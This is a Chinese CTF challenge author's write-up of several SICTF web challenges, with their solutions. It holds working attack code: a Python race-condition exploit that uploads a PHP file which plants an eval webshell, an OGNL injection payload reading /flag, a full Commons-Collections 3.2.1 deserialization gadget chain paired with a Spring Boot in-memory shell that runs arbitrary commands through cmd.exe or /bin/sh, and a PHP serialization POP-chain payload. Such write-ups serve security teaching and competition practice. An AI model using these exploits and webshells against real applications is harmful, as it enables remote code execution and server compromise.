SICTF 出题记录
2023-09-15 19:23:19

前言

很感谢树木能给我这次折磨人的机会(
因为题目都是临时赶工的,再加上平台的问题,导致题目多次维修,这一点很抱歉
希望大家能在题目中学到些新东西

你能跟得上我的speed吗?

很基础的文件上传条件竞争,储存0.01秒后删除文件,因为文件上传也没什么活了,我看条件竞争没怎么出过,就出一个玩玩,顺便考验一下脚本编写能力

<?php

if($_FILES["file"]["size"]>0){
    if ($_FILES["file"]["error"] > 0) {
        echo "错误!!!!!!";
        die();
    } else {
        $filename="./uploads/".$_FILES["file"]["name"];
        move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
        sleep(0.01);
        unlink($filename);
    }
}else{
    echo "你根本就没有上传,你到底在干什么?!";
    die();
}

?>


<div><img src="smile.gif" alt="" /></div>
<h1>当你看见我的时候,你已经输了</h1>
<h1>一次战胜不了我,那就多来几次吧,万一你运气好比我快呢?</h1>

这里还涉及一个知识点,想要更高效率的发包,就设置一个header头Connection:close,请求完毕就会将connection关闭,这样就不会占用连接。

如果不设置也能跑,只不过要跑很多次,就要看运气了,我这个脚本跑了一下很快就出了

import threading
import requests

url = "http://192.168.1.7:8080/"

def upload():
    while(True):
        upload_result = requests.post(url+"upload.php",
                                files={"file": ("1.php","<?php $op=fopen(\"shell.php\",\"a+\");fwrite($op,'<?php @eval($_POST[cmd]);?>');fclose($op);echo(333) ?>")},
                                headers={'Connection': 'close'}
                               )
        global stop_threads
        if stop_threads:
            break

def getshell():
    while(True):
        getshell_result = requests.get(url+"uploads/1.php",
                                       headers={'Connection':'close'}
                                       )
        if "333" in getshell_result.text:
            print("getshell!!!")
            global stop_threads
            stop_threads = True
            break

stop_threads = False
threads= []
t = threading.Thread(target=upload)  # 开始扫描连接判断是否开启
t2 = threading.Thread(target=getshell)
threads.append(t)
threads.append(t2)
t.start()
t2.start()

pain

之前某个师傅找我问structs2来着,实际上我也没调过,但是本质上就是个ognl注入,所以我就让他直接去看ognl注入,顺便我也看了眼(
研究了些骚操作,这里就放一些大火做的把

unicode绕过关键词
或直接读取文件

(#a=new java.util.Scanner(new java.io.File("/flag")).next())

有没有人不是用这两种方法的,来找我聊聊,各大群里搜Aecous应该就能找到我

Do you know CC

就是拿来折磨人防AK的,不放WP(,如果做出来了这条就作废
很显然上面作废了,树木师傅一直怕爆0,我就把内存马直接丢出来了
一条cc 3.2.1才存在的链子,以及springboot>2.6的内存马
这里我懒,就直接放师傅们的了

package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.map.DefaultedMap;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws Exception {

        TemplatesImpl impl = new TemplatesImpl();
        byte[] code = Base64.getDecoder().decode(makeClass("org.example.EvilController"));

        setFieldValue(impl, "_name", "nivia");
        setFieldValue(impl, "_bytecodes", new byte[][]{code});
        setFieldValue(impl, "_class", null);
        setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());

        InstantiateFactory instantiateFactory = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{impl});
        FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory);

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        Map outerMap1 = DefaultedMap.decorate(innerMap1, factoryTransformer);
        outerMap1.put("yy", 1);

        Map outerMap2 = DefaultedMap.decorate(innerMap2, factoryTransformer);
        outerMap2.put("zZ", 1);

        Hashtable table = new Hashtable();

        setFieldValue(table, "count", 2);
        Class nodeC = Class.forName("java.util.Hashtable$Entry");
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, outerMap1, 1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, outerMap2, 2, null));
        setFieldValue(table, "table", tbl);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(table);
        oos.close();

        System.out.println(URLEncoder.encode(new String(Base64.getEncoder().encode(barr.toByteArray()))));

//        ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
//        ObjectInputStream ois = new ObjectInputStream(in);
//        Object ob = (Object) ois.readObject();
    }

    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }

    public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        return field.get(obj);
    }

    public static String makeClass(String className) throws Exception {
        final CtClass clazz;
        ClassPool pool = ClassPool.getDefault();
        clazz = pool.get(className);
        byte[] classBytes = clazz.toBytecode();
        classBytes[7] = 49;
        return tools.base64Encode(classBytes);
    }
}

 

内存马

  
import com.sun.org.apache.xalan.internal.xsltc.DOM;  
import com.sun.org.apache.xalan.internal.xsltc.TransletException;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;  
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;  
import org.springframework.web.context.WebApplicationContext;  
import org.springframework.web.context.request.RequestContextHolder;  
import org.springframework.web.context.request.ServletRequestAttributes;  
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;  
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;  
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;  
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;  
  
import javax.servlet.http.HttpServletRequest;  
import javax.servlet.http.HttpServletResponse;  
import java.lang.reflect.Field;  
import java.lang.reflect.Method;  
  
public class EvilController extends AbstractTranslet {  
  
    public EvilController() throws Exception{  
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);   
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);  
        Method method = EvilController.class.getMethod("test");    
        Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");  
        configField.setAccessible(true);  
        RequestMappingInfo.BuilderConfiguration config =(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);  
        RequestMappingInfo info = RequestMappingInfo.paths("/aaa")  
                .options(config)  
                .build();    
        EvilController springBootMemoryShellOfController = new EvilController("aaaaaaa");  
        mappingHandlerMapping.registerMapping(info, springBootMemoryShellOfController, method);  
    }  
  
    public EvilController(String test){  
  
    }  
  
    public void test() throws Exception{  
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();  
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();   
        String command = request.getParameter("cmd");  
        if(command != null){  
            try {  
                java.io.PrintWriter printWriter = response.getWriter();  
                String o = "";  
                ProcessBuilder p;  
                if(System.getProperty("os.name").toLowerCase().contains("win")){  
                    p = new ProcessBuilder(new String[]{"cmd.exe", "/c", command});  
                }else{  
                    p = new ProcessBuilder(new String[]{"/bin/sh", "-c", command});  
                }  
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");  
                o = c.hasNext() ? c.next(): o;  
                c.close();  
                printWriter.write(o);  
                printWriter.flush();  
                printWriter.close();  
            }catch (Exception ignored){  
  
            }  
        }  
    }  
  
    @Override  
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {  
  
    }  
  
    @Override  
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {  
  
    }  
}

注意点:如果用GET去发数据,可能会导致请求太长了报错,所以改用POST

我全都要

一个非法传参,一个md5考点,一个clone魔术方法,让我出简单点让新生不要太难堪的
我也想要女朋友(

<?php  
  
  
class B  
{  
    public $pop;  
    public $command;  
    public $i;  
    public $nogame;  
}  
  
class A  
{  
    public $Aec;  
    public $girl;  
    public $boy;  
}  
  
  
  
class P  
{  
    public $MyLover;  
}  
  
  
$a=new B();  
$a->pop=new A();  
  
$e1=new Error("1",1);$e2=new Error("1",2);  
  
$a->pop->boy=$e1;  
$a->pop->girl=$e2;  
$a->pop->Aec=new B();  
$a->pop->Aec->i="1";  
$a->pop->Aec->nogame=new P();  
  
echo urlencode(serialize($a));
Prev
2023-09-15 19:23:19
Next